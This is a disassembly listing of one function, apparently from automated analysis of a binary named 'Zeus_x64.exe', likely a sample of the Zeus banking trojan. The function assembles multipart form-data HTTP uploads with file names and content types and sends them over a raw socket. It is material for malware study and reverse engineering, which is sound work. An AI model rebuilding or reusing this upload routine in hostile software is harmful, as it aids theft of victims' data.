Function at 0x14000a2e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x148]
sub rsp, 0x220
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140041008]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov r15, rcx
call sym.Zeus_x64.exe_private:_bool___cdecl_Http::HttpClient::sendBody_void____ptr64
test al, al
jne 0x14000a379
mov dword [r15 + 8], 3
mov rbx, qword [r15]
cmp byte [rbx + 0x50], al
jne 0x14000a344
mov eax, dword [rbx + 0x4c]
cmp eax, 0xffffffff
je 0x14000a351
movsxd rax, dword [rbx + 0x4c]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbx + 0x50], 0
xor r8d, r8d
lea rdx, [0x14003899f]
lea rcx, [rbx + 0x28]
call fcn.140001f90
xor esi, esi
mov dword [rbx + 0x48], esi
mov dword [rbx + 0x4c], 0xffffffff
jmp 0x14000b008
mov rbx, qword [r15 + 0x10]
mov qword [rsp + 0x20], rbx
lea rdi, [rbx + 0xb0]
mov qword [rsp + 0x28], rdi
xor esi, esi
mov r13d, esi
mov rcx, qword [rbx + 0x98]
mov rax, qword [rbx + 0xa0]
sub rax, rcx
sar rax, 3
test rax, rax
je 0x14000ae48
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rcx + r13*8]
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x60], rsi
mov byte [rbp - 0x70], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rbp - 0x70]
call fcn.1400020c0
nop
mov rax, qword [rbx + 0x98]
mov rcx, qword [rax + r13*8]
mov r12, qword [rcx + 0x20]
mov r8, rdi
lea rdx, [0x140038bf0]
lea rcx, [rbp + 0xb0]
call fcn.140009070
nop
lea r8, str._r_ncontent_disposition:_form_data__name_
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140008f70
nop
lea r8, [rbp - 0x70]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140008fc0
nop
lea r8, str.___filename_
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140008f70
nop
lea r8, [r12 + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140008fc0
nop
lea r8, [0x140038c08]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140008f70
nop
lea r8, str.content_type:
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140008f70
nop
lea r8, [r12 + 0x30]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140008fc0
nop
lea r8, [0x140038bbc]
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140008f70
nop
lea r8, [0x140038bbc]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140008f70
nop
mov rax, qword [rbp - 0x38]
cmp rax, 0x10
jb 0x14000a514
inc rax
mov rcx, qword [rbp - 0x50]
cmp rax, 0xffffffffffffffff
ja 0x14000ab13
cmp rax, 0x1000
jb 0x14000a50f
test cl, 0x1f
jne 0x14000ab0d
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ab07
sub rcx, rax
cmp rcx, 8
jb 0x14000ab01
cmp rcx, 0x27
ja 0x14000aafb
mov rcx, rax
call fcn.14000f220
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x40], rsi
mov byte [rbp - 0x50], 0
mov rax, qword [rbp - 0x18]
cmp rax, 0x10
jb 0x14000a57c
inc rax
mov rcx, qword [rbp - 0x30]
cmp rax, 0xffffffffffffffff
ja 0x14000ab31
cmp rax, 0x1000
jb 0x14000a577
test cl, 0x1f
jne 0x14000ab2b
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ab25
sub rcx, rax
cmp rcx, 8
jb 0x14000ab1f
cmp rcx, 0x27
ja 0x14000ab19
mov rcx, rax
call fcn.14000f220
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x30], 0
mov rax, qword [rbp + 8]
cmp rax, 0x10
jb 0x14000a5e4
inc rax
mov rcx, qword [rbp - 0x10]
cmp rax, 0xffffffffffffffff
ja 0x14000ab4f
cmp rax, 0x1000
jb 0x14000a5df
test cl, 0x1f
jne 0x14000ab49
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ab43
sub rcx, rax
cmp rcx, 8
jb 0x14000ab3d
cmp rcx, 0x27
ja 0x14000ab37
mov rcx, rax
call fcn.14000f220
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov qword [rbp], rsi
mov byte [rbp - 0x10], 0
mov rax, qword [rbp + 0x28]
cmp rax, 0x10
jb 0x14000a64c
inc rax
mov rcx, qword [rbp + 0x10]
cmp rax, 0xffffffffffffffff
ja 0x14000ab6d
cmp rax, 0x1000
jb 0x14000a647
test cl, 0x1f
jne 0x14000ab67
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ab61
sub rcx, rax
cmp rcx, 8
jb 0x14000ab5b
cmp rcx, 0x27
ja 0x14000ab55
mov rcx, rax
call fcn.14000f220
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x20], rsi
mov byte [rbp + 0x10], 0
mov rax, qword [rbp + 0x48]
cmp rax, 0x10
jb 0x14000a6b4
inc rax
mov rcx, qword [rbp + 0x30]
cmp rax, 0xffffffffffffffff
ja 0x14000ab8b
cmp rax, 0x1000
jb 0x14000a6af
test cl, 0x1f
jne 0x14000ab85
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ab7f
sub rcx, rax
cmp rcx, 8
jb 0x14000ab79
cmp rcx, 0x27
ja 0x14000ab73
mov rcx, rax
call fcn.14000f220
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x40], rsi
mov byte [rbp + 0x30], 0
mov rax, qword [rbp + 0x68]
cmp rax, 0x10
jb 0x14000a71c
inc rax
mov rcx, qword [rbp + 0x50]
cmp rax, 0xffffffffffffffff
ja 0x14000aba9
cmp rax, 0x1000
jb 0x14000a717
test cl, 0x1f
jne 0x14000aba3
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ab9d
sub rcx, rax
cmp rcx, 8
jb 0x14000ab97
cmp rcx, 0x27
ja 0x14000ab91
mov rcx, rax
call fcn.14000f220
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x60], rsi
mov byte [rbp + 0x50], 0
mov rax, qword [rbp + 0x88]
cmp rax, 0x10
jb 0x14000a787
inc rax
mov rcx, qword [rbp + 0x70]
cmp rax, 0xffffffffffffffff
ja 0x14000abc7
cmp rax, 0x1000
jb 0x14000a782
test cl, 0x1f
jne 0x14000abc1
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000abbb
sub rcx, rax
cmp rcx, 8
jb 0x14000abb5
cmp rcx, 0x27
ja 0x14000abaf
mov rcx, rax
call fcn.14000f220
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x80], rsi
mov byte [rbp + 0x70], 0
mov rax, qword [rbp + 0xa8]
cmp rax, 0x10
jb 0x14000a7fb
inc rax
mov rcx, qword [rbp + 0x90]
cmp rax, 0xffffffffffffffff
ja 0x14000abe5
cmp rax, 0x1000
jb 0x14000a7f6
test cl, 0x1f
jne 0x14000abdf
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000abd9
sub rcx, rax
cmp rcx, 8
jb 0x14000abd3
cmp rcx, 0x27
ja 0x14000abcd
mov rcx, rax
call fcn.14000f220
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xa0], rsi
mov byte [rbp + 0x90], 0
mov rax, qword [rbp + 0xc8]
cmp rax, 0x10
jb 0x14000a872
inc rax
mov rcx, qword [rbp + 0xb0]
cmp rax, 0xffffffffffffffff
ja 0x14000ac03
cmp rax, 0x1000
jb 0x14000a86d
test cl, 0x1f
jne 0x14000abfd
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000abf7
sub rcx, rax
cmp rcx, 8
jb 0x14000abf1
cmp rcx, 0x27
ja 0x14000abeb
mov rcx, rax
call fcn.14000f220
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xc0], rsi
mov byte [rbp + 0xb0], 0
lea rdi, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rdi, qword [rsp + 0x70]
mov r14, qword [r15]
mov ebx, dword [rbp - 0x80]
test ebx, ebx
je 0x14000a8d0
cmp byte [r14 + 0x50], 0
je 0x14000a8ce
movsxd rcx, dword [r14 + 0x4c]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14000a8ce
sub ebx, eax
cdqe
add rdi, rax
test ebx, ebx
jne 0x14000a8a5
test ebx, ebx
sete al
test al, al
je 0x14000ad22
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15]
mov qword [rsp + 0x30], rax
lea rax, [r15 + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rcx
test r12, r12
je 0x14000ad22
mov rax, qword [r12]
lea rdx, [rsp + 0x30]
mov rcx, r12
call qword [rax]
test al, al
je 0x14000ad22
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], 0
mov r8d, 2
lea rdx, [0x140038bbc]
lea rcx, [rsp + 0x50]
call fcn.140001f90
nop
lea rdi, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
cmovae rdi, rcx
mov r14, qword [r15]
mov ebx, dword [rsp + 0x60]
test ebx, ebx
je 0x14000a996
cmp byte [r14 + 0x50], 0
je 0x14000a98a
movsxd rcx, dword [r14 + 0x4c]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14000a98a
sub ebx, eax
cdqe
add rdi, rax
test ebx, ebx
jne 0x14000a961
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
test ebx, ebx
sete al
test al, al
je 0x14000ac63
cmp rdx, 0x10
jb 0x14000a9f4
inc rdx
cmp rdx, 0xffffffffffffffff
ja 0x14000ac21
cmp rdx, 0x1000
jb 0x14000a9ef
test byte [rsp + 0x50], 0x1f
jne 0x14000ac1b
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ac15
sub rcx, rax
cmp rcx, 8
jb 0x14000ac0f
cmp rcx, 0x27
ja 0x14000ac09
mov rcx, rax
call fcn.14000f220
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], 0
mov rax, qword [rbp - 0x78]
cmp rax, 0x10
jb 0x14000aa60
inc rax
mov rcx, qword [rsp + 0x70]
cmp rax, 0xffffffffffffffff
ja 0x14000ac3f
cmp rax, 0x1000
jb 0x14000aa5b
test cl, 0x1f
jne 0x14000ac39
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ac33
sub rcx, rax
cmp rcx, 8
jb 0x14000ac2d
cmp rcx, 0x27
ja 0x14000ac27
mov rcx, rax
call fcn.14000f220
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x80], rsi
mov byte [rsp + 0x70], 0
mov rax, qword [rbp - 0x58]
cmp rax, 0x10
jb 0x14000aac9
inc rax
mov rcx, qword [rbp - 0x70]
cmp rax, 0xffffffffffffffff
ja 0x14000ac5d
cmp rax, 0x1000
jb 0x14000aac4
test cl, 0x1f
jne 0x14000ac57
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000ac51
sub rcx, rax
cmp rcx, 8
jb 0x14000ac4b
cmp rcx, 0x27
ja 0x14000ac45
mov rcx, rax
call fcn.14000f220
inc r13
mov rbx, qword [rsp + 0x20]
mov rcx, qword [rbx + 0x98]
mov rax, qword [rbx + 0xa0]
sub rax, rcx
sar rax, 3
cmp r13, rax
jae 0x14000ae43
lea rdi, [rbx + 0xb0]
jmp 0x14000a3c0
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
int3
call fcn.140019f90
nop
mov dword [r15 + 8], 3
mov rbx, qword [r15]
cmp byte [rbx + 0x50], 0
jne 0x14000ac7c
mov eax, dword [rbx + 0x4c]
cmp eax, 0xffffffff
je 0x14000ac86
movsxd rcx, dword [rbx + 0x4c]
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbx + 0x50], 0
xor r8d, r8d
lea rdx, [0x14003899f]
lea rcx, [rbx + 0x28]
call fcn.140001f90
mov dword [rbx + 0x48], esi
mov dword [rbx + 0x4c], 0xffffffff
mov rax, qword [rsp + 0x68]
cmp rax, 0x10
jb 0x14000ad0d
inc rax
mov rcx, qword [rsp + 0x50]
cmp rax, 0xffffffffffffffff
jbe 0x14000acc6
call fcn.140019f90
int3
cmp rax, 0x1000
jb 0x14000ad08
test byte [rsp + 0x50], 0x1f
je 0x14000acdb
call fcn.140019f90
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14000acea
call fcn.140019f90
int3
sub rcx, rax
cmp rcx, 8
jae 0x14000acf9
call fcn.140019f90
int3
cmp rcx, 0x27
jbe 0x14000ad05
call fcn.140019f90
int3
mov rcx, rax
call fcn.14000f220
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], 0
jmp 0x14000ad66
mov rbx, qword [r15]
mov dword [r15 + 8], 3
cmp byte [rbx + 0x50], 0
jne 0x14000ad3b
mov eax, dword [rbx + 0x4c]
cmp eax, 0xffffffff
je 0x14000ad45
movsxd rcx, dword [rbx + 0x4c]
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbx + 0x50], 0
xor r8d, r8d
lea rdx, [0x14003899f]
lea rcx, [rbx + 0x28]
call fcn.140001f90
mov dword [rbx + 0x48], esi
mov dword [rbx + 0x4c], 0xffffffff
mov rax, qword [rbp - 0x78]
cmp rax, 0x10
jb 0x14000adcb
inc rax
mov rcx, qword [rsp + 0x70]
cmp rax, 0xffffffffffffffff
jbe 0x14000ad84
call fcn.140019f90
int3
cmp rax, 0x1000
jb 0x14000adc6
test byte [rsp + 0x70], 0x1f
je 0x14000ad99
call fcn.140019f90
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14000ada8
call fcn.140019f90
int3
sub rcx, rax
cmp rcx, 8
jae 0x14000adb7
call fcn.140019f90
int3
cmp rcx, 0x27
jbe 0x14000adc3
call fcn.140019f90
int3
mov rcx, rax
call fcn.14000f220
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x80], rsi
mov byte [rsp + 0x70], 0
mov rax, qword [rbp - 0x58]
cmp rax, 0x10
jb 0x14000b008
inc rax
mov rcx, qword [rbp - 0x70]
cmp rax, 0xffffffffffffffff
jbe 0x14000adfd
call fcn.140019f90
int3
cmp rax, 0x1000
jb 0x14000b003
test byte [rbp - 0x70], 0x1f
je 0x14000ae15
call fcn.140019f90
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14000ae24
call fcn.140019f90
int3
sub rcx, rax
cmp rcx, 8
jae 0x14000ae33
call fcn.140019f90
int3
cmp rcx, 0x27
jbe 0x14000b000
call fcn.140019f90
int3
mov rdi, qword [rsp + 0x28]
mov r8, rdi
lea rdx, [0x140038bf0]
lea rcx, [rbp + 0xd0]
call fcn.140009070
nop
lea r8, str.___r_n
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140008f70
nop
mov rax, qword [rbp + 0xe8]
cmp rax, 0x10
jb 0x14000aee2
inc rax
mov rcx, qword [rbp + 0xd0]
cmp rax, 0xffffffffffffffff
jbe 0x14000ae99
call fcn.140019f90
int3
cmp rax, 0x1000
jb 0x14000aedd
test byte [rbp + 0xd0], 0x1f
je 0x14000aeb0
call fcn.140019f90
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14000aebf
call fcn.140019f90
int3
sub rcx, rax
cmp rcx, 8
jae 0x14000aece
call fcn.140019f90
int3
cmp rcx, 0x27
jbe 0x14000aeda
call fcn.140019f90
int3
mov rcx, rax
call fcn.14000f220
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xe0], rsi
mov byte [rbp + 0xd0], 0
lea rdi, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rdi, qword [rbp + 0xf0]
mov r14, qword [r15]
mov rbx, qword [rbp + 0x100]
test ebx, ebx
je 0x14000af4b
cmp byte [r14 + 0x50], 0
je 0x14000af49
movsxd rcx, dword [r14 + 0x4c]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14000af49
sub ebx, eax
cdqe
add rdi, rax
test ebx, ebx
jne 0x14000af20
test ebx, ebx
sete al
test al, al
je 0x14000af5c
mov rcx, r15
call sym.Zeus_x64.exe_private:_bool___cdecl_Http::HttpClient::getResponse_void____ptr64
jmp 0x14000afa0
mov dword [r15 + 8], 3
mov rbx, qword [r15]
cmp byte [rbx + 0x50], 0
jne 0x14000af75
mov eax, dword [rbx + 0x4c]
cmp eax, 0xffffffff
je 0x14000af7f
movsxd rcx, dword [rbx + 0x4c]
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbx + 0x50], 0
xor r8d, r8d
lea rdx, [0x14003899f]
lea rcx, [rbx + 0x28]
call fcn.140001f90
mov dword [rbx + 0x48], esi
mov dword [rbx + 0x4c], 0xffffffff
mov rax, qword [rbp + 0x108]
cmp rax, 0x10
jb 0x14000b008
inc rax
mov rcx, qword [rbp + 0xf0]
cmp rax, 0xffffffffffffffff
jbe 0x14000afc3
call fcn.140019f90
int3
cmp rax, 0x1000
jb 0x14000b003
test cl, 0x1f
je 0x14000afd6
call fcn.140019f90
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14000afe5
call fcn.140019f90
int3
sub rcx, rax
cmp rcx, 8
jae 0x14000aff4
call fcn.140019f90
int3
cmp rcx, 0x27
jbe 0x14000b000
call fcn.140019f90
int3
mov rcx, rax
call fcn.14000f220
xor al, al
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.14000f1c0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret